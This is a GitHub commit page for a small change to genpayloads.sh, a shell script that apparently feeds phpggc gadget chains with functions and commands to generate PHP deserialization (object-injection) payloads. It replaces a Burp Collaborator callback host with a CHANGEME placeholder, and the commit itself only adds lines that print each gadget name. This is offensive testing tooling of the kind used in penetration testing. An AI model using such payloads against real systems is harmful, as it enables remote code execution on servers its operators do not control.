Skip to content

Commit

Permalink
Changes to be committed:
Browse files Browse the repository at this point in the history
	modified:   genpayloads.sh
  • Loading branch information
Ricardo Almeida committed May 7, 2021
1 parent 79de720 commit 0bf424c
Showing 1 changed file with 4 additions and 0 deletions.
4 changes: 4 additions & 0 deletions genpayloads.sh
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -9,15 +9,19 @@ while read line; do
gadget=$(echo $line | cut -d' ' -f2) &&
if echo $line | grep -q "<function> <parameter>"; then
echo -e "\n"
echo $gadget
~/phpggc/phpggc $options $gadget "$function" "$command" | sed 's/poi-slinger.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.burpcollaborator.net/CHANGEME/g' | jq -aR .
elif echo $line | grep -q "<code>"; then
echo -e "\n"
echo $gadget
~/phpggc/phpggc $options $gadget "$function('$command');" | sed 's/poi-slinger.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.burpcollaborator.net/CHANGEME/g' | jq -aR .
elif echo $line | grep -q "<command>"; then
echo -e "\n"
echo $gadget
~/phpggc/phpggc $options $gadget "$command?$(date +%s)" | sed 's/poi-slinger.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.burpcollaborator.net/CHANGEME/g' | jq -aR .
else
echo -e "\n"
echo $gadget
~/phpggc/phpggc $options $gadget | sed 's/poi-slinger.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.burpcollaborator.net/CHANGEME/g' | jq -aR .
fi;
done

0 comments on commit 0bf424c

Please sign in to comment.